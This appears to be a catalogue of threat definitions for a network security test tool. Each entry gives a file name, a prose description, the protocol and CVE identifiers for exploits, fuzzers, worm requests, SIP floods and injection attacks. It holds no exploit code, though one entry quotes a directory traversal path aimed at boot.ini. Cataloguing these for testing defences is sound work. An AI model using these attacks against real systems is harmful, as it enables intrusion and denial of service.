Detailed Description:	Fuzzes the Method field appending by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	lupper34_IPv6.xml
Executive Description:	Lupper Worm 34 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20080812-14_Microsoft_Office_Image_Filter_Crafted_BMP_Header_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Image Filter Crafted BMP Header Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Image Filter shipped with Microsoft Office. The vulnerability is due to improper validation of the number of used colors in BMP header. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious BMP image with the affected application, causing the execution of arbitrary code in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3020
Threat Package:	Standard
Threat File Name:	TSL20170313-07_HPE_Intelligent_Management_Center_CommonUtils_ZIP_Directory_Traversal.xml
Executive Description:	HPE Intelligent Management Center CommonUtils ZIP Directory Traversal

Detailed Description:	A directory traversal vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to a lack of proper input sanitization on uploaded ZIP files handled by the CommonUtils class. A remote attacker can exploit this vulnerability by sending an HTTP request containing a maliciously crafted ZIP file. Successful exploitation could result in the execution of arbitrary code under the context of the SYSTEM user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5793
Threat File Name:	fuzz-HTTP_AppendformatsToGET.xml
Executive Description:	Fuzz HTTP with GET appended by %s
Detailed Description:	Fuzzes the Method field appending by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20170221-09_Aerospike_Database_Server_RW_Fabric_Message_Code_Execution.xml
Executive Description:	Aerospike Database Server RW Fabric Message Code Execution
Detailed Description:	A out-of-bounds array indexing vulnerability has been reported in Aerospike Database Server. The vulnerability is due to improper handling of a fabric message containing a request to write a record element with malicious type value. A remote attacker could exploit this vulnerability by sending a maliciously crafted fabric message to the vulnerable server. Successful exploitation of this vulnerability could lead to a NULL pointer dereference, causing denial-of-service.
Protocol Type:	Aerospike Database Fabric Protocol
CVEID:	CVE-2016-9053
Threat File Name:	TSL20140714-06_D_Link_HNAP_Request_Stack_Buffer_Overflow.xml
Executive Description:	D-Link HNAP Request Stack Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in D-Link routers. The vulnerability is due to a stack buffer overflow while processing crafted HTTP POST requests addressed to the HNAP handler. By sending a crafted HTTP request to the target device, a remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the affected device with root privileges.
Protocol Type:	HTTP
CVEID:	CVE-2014-3936
OSVDB:	107049
Threat File Name:	owlintranet_include_IPv6.xml
Executive Description:	Owl Intranet Engine Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends an HTTP query attempting to include a PHP file from a remote location. Vulnerable versions of Owl Intranet Engine will not properly check the script input and allow a remote script to be included, executing the script at the privilege of the webserver. Owl Intranet Engine is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1149
OSVDB:	23734
Threat File Name:	TSL20150414-30_Microsoft_Internet_Explorer_CVE_2015_1667_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1667 Use After Free.
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1667
OSVDB:	120621
Threat File Name:	cmsfaethon_rfi.xml
Executive Description:	CMS Faethon Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote file to include in the returned page via malicious code in a web cookie for every installed script.CMS Faethon is an web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060208-13_Sun_Directory_Server_LDAP_Denial_of_Service.xml
Executive Description:	Sun Directory Server LDAP Denial of Service
Detailed Description:	There exists a vulnerability in the Sun Directory Server. The flaw is caused due to improper handling of certain overly large LDAP messages. An unauthenticated remote attacker may exploit this vulnerability by sending a crafted LDAP message to the target host which may terminate the affected LDAP server on the target system.
Protocol Type:	LDAP
CVEID:	CVE-2006-0647
Threat Package:	Standard
Threat File Name:	TSL20111207-01_Adobe_Acrobat_and_Reader_U3D_Uninitialized_Variable.xml
Executive Description:	Adobe Acrobat and Reader U3D Uninitialized Variable
Detailed Description:	An unitialized variable dereference vulnerability has been identified in Adobe Reader and Adobe Acrobat. The vulnerability is due to a flaw in the code that handles U3D files embedded in PDF files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted PDF file. In case of a successful attack arbitrary attacker code will be executed on the target user machine in the security context of the logged on user. If the attack fails, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-2462
Threat File Name:	FSC20091027-06_Adobe_Acrobat_Reader_U3D_CLODMeshContinuation_Code_Execution.xml
Executive Description:	Adobe Acrobat Reader U3D CLODMeshContinuation Code Execution
Detailed Description:	An invalid array index vulnerability exists in Adobe Acrobat Reader and Acrobat Professional products that can allow arbitrary code execution. Remote attackers can exploit this vulnerability by enticing affected users to open a malicious PDF document in a vulnerable version of the product. In a sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intent of the injected code. This injected code would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally upon parsing the malicious PDF document.

Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2990
Threat Package:	Standard
Threat File Name:	TSL20150327-03_PHP_Group_PHP_ZIP_Integer_Overflow_IPv6.xml
Executive Description:	PHP Group PHP ZIP Integer Overflow IPv6 version.
Detailed Description:	A heap buffer overflow vulnerability exists in PHP. The vulnerability is due to an integer overflow in the libzip component of PHP and can be used to write beyond the end of a heap buffer. A remote attacker can exploit the vulnerability by sending a crafted ZIP archive to a web application running a vulnerable version of PHP. A successful attack will result in remote code execution under the context of the service running PHP.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2015-2331
Threat File Name:	TSL20071009-16_Microsoft_Windows_Kodak_Image_Viewer_Code_Execution.xml
Executive Description:	Microsoft Windows Kodak Image Viewer Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Kodak Image Viewer. The vulnerability is due to improper parsing of specially crafted image files, such as TIFF files. An attacker can exploit the vulnerability by constructing a specially crafted image and enticing a victim to open the malicious image with an affected version of product. Successful exploitation of this vulnerability would result in arbitrary code execution in the context of the logged-in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack attempt, the vulnerable application that opens the malicious TIFF file will terminate unexpectedly. The vulnerable applications include Microsoft Internet Explorer, Windows Explorer, and the Windows picture and fax viewer are the affected as well. Note that the vulnerability may be triggered in the Windows Explorer by either attempting to get the file properties, or preview of the file in form of thumbnails or web view folders.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/ SMB/CIFS SMTP
CVEID:	CVE-2007-2217
Threat File Name:	FSC20090213-15_ProFTPD_Server_Username_Handling_SQL_Injection_IPv6.xml
Executive Description:	ProFTPD Server Username Handling SQL Injection (IPv6 Version)
Detailed Description:	A vulnerability exists in ProFTPD that could be exploited by remote attackers to conduct SQL injection attacks on the server. This flaw is due to improper validation of a user-supplied username string before being used in an SQL query. A remote unauthenticated attacker can trigger this vulnerability by sending a malicious username to the target ProFTPD server and gain the privileges of a legitimate user. A successful attack can allow the attacker to masquerade as an authenticated user and, depending upon their privileges, gain unauthorized access and cause denial of service. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2009-0542
Threat Package:	Standard
Threat File Name:	http_get_lnk.xml
Executive Description:	HTTP Request for Microsoft Shortcut File
Detailed Description:	This threat is an HTTP request for a .LNK file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sony_connect_m3u_bof.xml
Executive Description:	Sony CONNECT Player 4.x (m3u File) Local Stack Overflow Vulnerability
Detailed Description:	This threat uses a web server to deliver a malicious m3u file that once opened with a vulnerable Sony Connect Player application will result in arbitrary code execution. This threat uses a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5709
Threat Package:	Standard
Threat File Name:	wordpress_lastpost.xml
Executive Description:	Wordpress Arbitrary Command Injection
Detailed Description:	This threat injects a command into the PHP web application Wordpress. It allows a remote attacker to run any command they wish in the context of the webserver. Wordpress is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2110
OSVDB:	18672
Threat Package:	Standard
Threat File Name:	phpfusion_cmi.xml
Executive Description:	PHP-Fusion 6.00.306 Multiple Vulnerabilities Exploit
Detailed Description:	This threat uses several crafted HTTP queries to upload arbitrary php code contained in a file with multiple extensions, and then cause the server to execute this code. PHP-Fusion is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2330
Threat Package:	Standard
Threat File Name:	FSC20070221-18_Apple_Mac_OS_X_ImageIO_gifGetBandProc_GIF_Image_Handling_Integer_Overflow.xml
Executive Description:	Apple Mac OS X ImageIO gifGetBandProc GIF Image Handling Integer Overflow
Detailed Description:	There exists an integer overflow vulnerability in Apple Mac OS X ImageIO. The vulnerability is due to a boundary error in the "gifGetBandProc" function in ImageIO when decompressing a specially crafted GIF image file. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the application.
Protocol Type:	HTTP
CVEID:	CVE-2007-1071
Threat Package:	Standard
Threat File Name:	TSL20170314-32_Microsoft_Graphics_Component_CVE-2017-0014_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Graphics Component CVE-2017-0014 Memory Corruption (IPv6 Version)

Detailed Description:	A memory corruption vulnerability has been reported in an unspecified component of Microsoft Windows Graphics Component. The vulnerability is due to an error in how the Windows Graphics Component handles certain objects in memory. A remote attacker can exploit this vulnerability by enticing an user to click a maliciously crafted link or open a maliciously crafted file. Successful exploitation could allow to execute arbitrary code in the context of the user.
Protocol Type:	HTTP,HTTPS,SMB/CIFS,IMAP,POP3,SMTP,IPv6
CVEID:	CVE-2017-0014
Threat File Name:	FSC20080731-09_GNOME_Project_libxslt_Library_RC4_Key_String_Buffer_Overflow.xml
Executive Description:	GNOME Project libxslt Library RC4 Key String Buffer Overflow
Detailed Description:	There exists a heap based buffer overflow vulnerability in RC4 libxslt libraryextension. The vulnerability is due to a boundary error in handling of strings passed to RC4 encryption/decryption functions. This vulnerability can be exploited using a crafted stylesheet leading to a heap-based buffer overflow, which could allow the attacker to execute arbitrary code with privileges of the application using the libxslt library to perform XSL transformations.
Protocol Type:	HTTP
CVEID:	CVE-2008-2935
Threat Package:	Standard
Threat File Name:	sipbyeflood_IPv6.xml
Executive Description:	SIP BYE Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of SIP BYE packets, attempting to overwhelm either a PBX or a VoIP phone. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20071024-06_IBM_Lotus_Notes_HTML_Message_Handling_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes HTML Message Handling Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Lotus Notes. The vulnerability is a result of insufficient boundary checking while parsing HTML formatted email. A remote attacker can exploit this vulnerability by persuade the target user to perform certain operation upon a crafted email message, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	TCP
CVEID:	CVE-2007-4222
Threat Package:	Standard
Threat File Name:	sipbadrequesturi.xml
Executive Description:	SIP Bad Request-URI
Detailed Description:	This threat sends out a SIP INVITE message with the Request-URI header filled with garbage. This may confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20091208-08_Microsoft_Internet_Explorer_DOM_Object_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer DOM Object Handling Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a memory corruption error when handling certain DOM operations. Remote attackers can exploit this issue by enticing target users to visit a malicious web page, potentially causing arbitrary code executed in the security context of the current logged on user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3671
Threat Package:	Standard
Threat File Name:	qt_qtif_idsc.xml
Executive Description:	Quicktime Image Malformed IDSC Header
Detailed Description:	This threat is a malformed QTIF image that causes a heap overflow in Apple Quicktime. This can be used to cause code execution. This threat typically comes from web servers over port 80. It is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2340
OSVDB:	22333
Threat Package:	Standard
Threat File Name:	TSL20120210-07_ImageMagick_EXIF_ResolutionUnit_Handling_Memory_Corruption_IPv6.xml
Executive Description:	ImageMagick EXIF ResolutionUnit Handling Memory Corruption(IPV6 Version)
Detailed Description:	ImageMagick is a software suite to used create, edit, and compose bitmap images. It can read, convert, and write images in a variety of formats. It is commonly used in CGI scripts and through PHP interfaces for image manipulation on web servers. A memory access error vulnerability has been reported in ImageMagick. The vulnerability is due to a boundary error in the ImageMagick library specifically while handling crafted ResolutionUnit tags in EXIF headers. Remote attackers could exploit this vulnerability by uploading a malicious image file to a vulnerable server or by persuading a target user to open such an image file in a desktop program that uses the vulnerable version of ImageMagick. Successful exploitation would cause memory corruption, which may lead to arbitrary code execution in the security context of the affected server application or the logged-in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0247
OSVDB:	79003
Threat File Name:	TSL20160712-25_Adobe_Flash_Selection.setFocus_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Selection.setFocus Use After Free (IPv6 Version)
Detailed Description:	A use after free vulnerability has been reported in an Adobe Flash Player. The vulnerability is due to a use of static Selection.setFocus method with a "this" object. A remote attacker could exploit this vulnerability by enticing a user into opening a malicious SWF file. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4227

Threat File Name:	TSL20170531-14_Microsoft_Windows_XP_and_Server_2003_RDP_CVE-2017-0176_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows XP and Server 2003 RDP CVE-2017-0176 Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability has been reported in Remote Desktop on Microsoft Windows XP and Server 2003. The vulnerability is due to a lack of bounds checking while copying a smart card file data. A remote attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation results in arbitrary code execution under the context of SYSTEM.
Protocol Type:	RDP,IPv6
CVEID:	CVE-2017-0176
Threat File Name:	FSC20080122-02_IBM_Tivoli_Provisioning_Manager_for_OS_Deployment_HTTP_Server_Buff_IPv6.xml
Executive Description:	IBM Tivoli Provisioning Manager for OS Deployment HTTP Server Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in IBM Tivoli Provisioning Manager for OS Deployment. The flaw is due to a boundary error in the HTTP server component when processing crafted HTTP requests. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with privileges of the affected service. (IPv6 Version)
Protocol Type:	HTTPS/IPv6
CVEID:	CVE-2008-0401
Threat Package:	Standard
Threat File Name:	nessus_activex_rexec.xml
Executive Description:	Nessus Vulnerability Scanner 3.0.6 ActiveX Command Exec Vulnerability
Detailed Description:	This threat demonstrates a flaw in Nessus Vulnerability Scanner ActiveX Control to execute arbitrary commands with the privileges of the affected user. The threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4061
Threat Package:	Standard
Threat File Name:	TSL20150216-04_Microsoft_Internet_Explorer_Shadow_Filter_Direction_Integer_Overflow.xml
Executive Description:	Microsoft Internet Explorer Shadow Filter Direction Integer Overflow.
Detailed Description:	An integer overflow vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an improper boundary check on the direction attribute value of a shadow filter. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0036
OSVDB:	118156
Threat File Name:	FSC20060711-22_Microsoft_Office_File_Malformed_String_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office File Malformed String Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in several Microsoft Office applications. The flaw is caused by insufficient validation when handling malformed strings in Office Document files, resulting in an buffer overflow. An attacker can leverage this vulnerability by enticing a user to open a crafted Office Document. A successful attack can lead to the injection and execution arbitrary code within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1540
Threat Package:	Standard
Threat File Name:	FSC20080402-06_Novell_eDirectory_HTTP-Headers_Denial_of_Service.xml
Executive Description:	Novell eDirectory HTTP Headers Denial of Service
Detailed Description:	A resource exhaustion vulnerability exists in Novell eDirectory. The vulnerability can be triggered by a crafted HTTP request. A remote unauthenticated attacker can create a denial of service condition on the affected service by leveraging this vulnerability.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2008-0927
Threat Package:	Standard
Threat File Name:	directory_travel_IPv6.xml
Executive Description:	Directory Traversal (IPv6 Version)
Detailed Description:	This threat connects to a webserver and attempts to download an arbitrary file [../../../../../../boot.ini]. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	13938
Threat Package:	Standard
Threat File Name:	lupper12_IPv6.xml
Executive Description:	Lupper Worm 12 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	barcodewiz2.52_activex_bof.xml
Executive Description:	BarCodeWiz ActiveX Control 2.0 (BarcodeWiz.dll) Remote Buffer Overflow Exploit
Detailed Description:	This threat downloads a malicious script which exploits a buffer overflow in BarCodeWiz's activex component through the "Verify" argument. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	pegasus_thumb_activex_overwrite_IPv6.xml

Executive Description:	Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Pegasus Imaging ThumbnailXpress ActiveX application, resulting in the deletion of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5320
Threat Package:	Standard
Threat File Name:	oracle_web_cache_dos1_IPv6.xml
Executive Description:	Oracle Web Cache Denial of Service 1 (IPv6 Version)
Detailed Description:	This threat sends out a HTTP GET request which can cause the Oracle Web Cache service to crash. This is done by specifying a request URL of /../. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0386
OSVDB:	9464
Threat Package:	Standard
Threat File Name:	TSL20111103-12_Microsoft_Office_VBA_Module_Stream_Use_after_Free.xml
Executive Description:	Microsoft Office VBA Module Stream Use after Free
Detailed Description:	A use-after-free vulnerability has been identified in Microsoft Excel. The vulnerability can be exploited by enticing a user to open a crafted file and perform certain actions. If exploited successfully, the vulnerability could possibly permit execution of arbitrary code in the security context of the target user. At the time of writing no patch or advisory regarding this vulnerability was available from Microsoft.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	FSC20101214-44_Microsoft_Internet_Explorer_CSS_Import_Use-After-Free_Code_Execution_IPv6.xml
Executive Description:	Microsoft Internet Explorer CSS Import Use-After-Free Code Execution (IPv6 Version)
Detailed Description:	A unpatched code execution vulnerability exists in Microsoft's Internet Explorer. The vulnerability is due to the way mshtml.dll handles CSS files with multiple import statements. An attacker may exploit this vulnerability by enticing a user to open a specially crafted CSS file. Successful exploitation will lead to a use-after-free condition which an attacker may be able to exploit to execute arbitrary code in the security context of the Internet Explorer.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	TSL20170403-01_Mantis_MantisBT_Bug_Tracker_adm_config_report.php_move_attachments_page.php_XSS.xml
Executive Description:	Mantis MantisBT Bug Tracker adm_config_report.php move_attachments_page.php XSS
Detailed Description:	Three cross-site scripting vulnerabilities have been reported in Mantis Bug Tracker (MantisBT). These vulnerabilities are due to insufficient input validation of the action, type and config_option HTTP parameters by adm_config_report.php and move_attachments_page.php. A remote attacker could exploit this vulnerability by enticing a target user to click on a specially crafted URL in an entry on the server. Successful exploitation would result in script code running in the client's browser, within the security context of the website.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2017-7309
Threat File Name:	NOOPudpSPARC3.xml
Executive Description:	UDP NOOP Variant SPARC 3
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	FSC20110412-09_Microsoft_Windows_GDIplus_EMF_handling_Integer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus EMF handling Integer Overflow
Detailed Description:	An integer overflow vulnerability exists Microsoft Windows Graphics Device Interface (GDI+). The vulnerability is due to an error in integer calculations when handling EMF files, which can cause memory corruption. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open or view (potentially via a web page) a specially crafted EMF file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0041
Threat File Name:	TSL20141111-24_Microsoft_Windows_SChannel_Denial_Of_Service_IPv6.xml
Executive Description:	Microsoft Windows SChannel Denial Of Service IPv6 version
Detailed Description:	A denial of service vulnerability exists in Microsoft SChannel. The vulnerability is due to improper processing of specially crafted packets that leads to a denial of service. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to the target machine. Successful exploitation could result in a denial of service condition. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/SSL/HTTPS/SMTP/SMTPS.IPV6
CVEID:	CVE-2014-6321
OSVDB:	114506
Threat File Name:	sipregisterflood.xml
Executive Description:	SIP Register Flood
Detailed Description:	This threat sends out a large flood of REGISTER requests to a PBX. This can overwhelm the PBX, denying service to legitimate users.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	phpmyagenda_cmi_b_IPv6.xml
Executive Description:	phpMyAgenda 3.0 Arbitrary Remote File Inclusion (agenda2.php3) (IPv6 Version)
Detailed Description:	This threat leverages an arbitrary remote file inclusion into an arbitrary command execution flaw via the "rootagenda" argument to agenda2.php3. phpMyAgenda is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6

Threat Package:	Standard
Threat File Name:	FSC20040720-01_PHP_memory_limit_Vulnerability.xml
Executive Description:	PHP memory_limit vulnerability
Detailed Description:	There is a vulnerability in the way PHP aborts from a memory allocation which exceeds the memory limit. This operation is unsafe during the allocation and initialization of hash table elements. It is possible for an attacker to take control of a memory pointer and execute arbitrary code on the target.
Protocol Type:	HTTP
CVEID:	CVE-2004-0594
Threat Package:	Standard
Threat File Name:	TSL20110822-03_Google_Chrome_and_Apple_Safari_Display_Box_Rendering_Memory_Corruption_IPv6.xml
Executive Description:	Google Chrome and Apple Safari Display Box Rendering Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in the WebKit tool used by Apple Safari and Google Chrome. The vulnerability is due to a memory corruption while handling display boxes. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious web site. This can lead to memory corruption and the possibility of code execution in the context of the affected user. If code execution is unsuccessful, the application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2818
Threat File Name:	FSC20071219-27_HP_Software_Update_Tool_ActiveX_Control_File_Overwrite.xml
Executive Description:	HP Software Update Tool ActiveX Control File Overwrite
Detailed Description:	An arbitrary file overwrite vulnerability exists in the HP Software Update, shipped with many HP systems. The vulnerability is due to a design weakness in an ActiveX component that is used to download patches and updates for the HP software. A remote attacker may persuade the target user to open a malicious web page to overwrite sensitive files on the local system's file system and potentially corrupt the operating system, and/or execute arbitrary code on the vulnerable system with privileges of logged in user.
Protocol Type:	80
CVEID:	CVE-2007-6506
Threat Package:	Standard
Threat File Name:	ms06-016_IPv6.xml
Executive Description:	Outlook Express Malformed Address Book (IPv6 Version)
Detailed Description:	This threat mimics a user downloading a malformed address book that causes a memory corruption flaw in the wab32.dll library of outlook express. This particular version of the threat causes the fault to occur without code execution, however code execution does look possible with more work. This is a threat that comes from the virtual server as a malicious payload from a web server. Web servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPV6
CVEID:	CVE-2006-0014
OSVDB:	24519
Threat Package:	Standard
Threat File Name:	FSC20070904-05_ClamAV_Mail_Filter_Extension_Crafted_Recipient_Command_Execution.xml
Executive Description:	ClamAV Mail Filter Extension Crafted Recipient Command Execution
Detailed Description:	shell command injection vulnerability exists in ClamAV AntiVirus product. The vulnerability can be triggered when the application processes malicious SMTP commands. An unauthenticated attacker can exploit this vulnerability by delivering a crafted request to the target host, resulting in command injection and execution with privileges of the affected ClamAV application.
Protocol Type:	SMTP
CVEID:	CVE-2007-4560
Threat Package:	Standard
Threat File Name:	ms_mediasx_dos.xml
Executive Description:	Windows Media ASX Playlist File Denial Of Service Vulnerability
Detailed Description:	This threat uses a malicious asx playlist file that once played in a vulnerable Windows Media Player client will result in a denial of service condition. Windows Media Player is a client application that can retrieve asx playlist files from a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	adodb_dos_IPv6.xml
Executive Description:	ADODB tmsql.php Denial of service (win32) (IPv6 Version)
Detailed Description:	This threat sends a standard HTTP query which causes ADODB to attempt to close a file descriptor which has not yet been initialized, causing windows to raise an exception. ADODB typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPV6
Threat Package:	Standard
Threat File Name:	mambo_com_nmp_rfi.xml
Executive Description:	Mambo Email Publisher Help.MMP.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the Email Publisher Help component which allows a malicious user to include commands in the context of the vulnerable web server. Mambo is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070102-02_Apple_QuickTime_RTSP_URL_Buffer_Overflow.xml
Executive Description:	Apple QuickTime RTSP URL Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Apple QuickTime. The vulnerability is caused due to lack of boundary checks when processing the "rtsp://" URLs. By enticing the target user, a remote unauthenticated attacker may leverage the vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0015
Threat Package:	Standard

Threat File Name:	TSL20160913-35_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3247_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3247 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-3247
Threat File Name:	firefoxBadHTML.xml
Executive Description:	Firefox Malformed HTML Denial of Service
Detailed Description:	This threat causes the firefox webbrowser to crash by parsing badly created html. This threat comes from a malicious web site, typically over port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	mcafee_epolicy_source_IPv6.xml
Executive Description:	McAfee EPolicy Orchestrator Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the McAfee EPolicy Orchestrator product by sending an overly long source header. McAfee EPolicy Orchestrator typically listens on port 81. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5156
OSVDB:	29421
Threat Package:	Standard
Threat File Name:	invision_power_board_armymod_sql.xml
Executive Description:	Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Detailed Description:	This threat sends a crafted url containing an SQL query which is executed by the server. Invision Power Board Army System Mod is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0520
OSVDB:	22851
Threat File Name:	smtp_expn_IPv6.xml
Executive Description:	SMTP Probe EXPN all (IPv6 Version)
Detailed Description:	This threat sends the EXPN all statement to an SMTP server. This command is used to enumerate all email addresses belonging to group all, if it exists. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-1999-0531
OSVDB:	12551
Threat Package:	Standard
Threat File Name:	widexl_download_tracker_xss_IPv6.xml
Executive Description:	Widexl Download Tracker down.pl ID Variable XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Widexl Download Tracker is a web based interface that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0246
OSVDB:	22462
Threat File Name:	FSC20091209-10_HP_OpenView_Data_Protector_Application_Recovery_Manager_Buffer_Overflow.xml
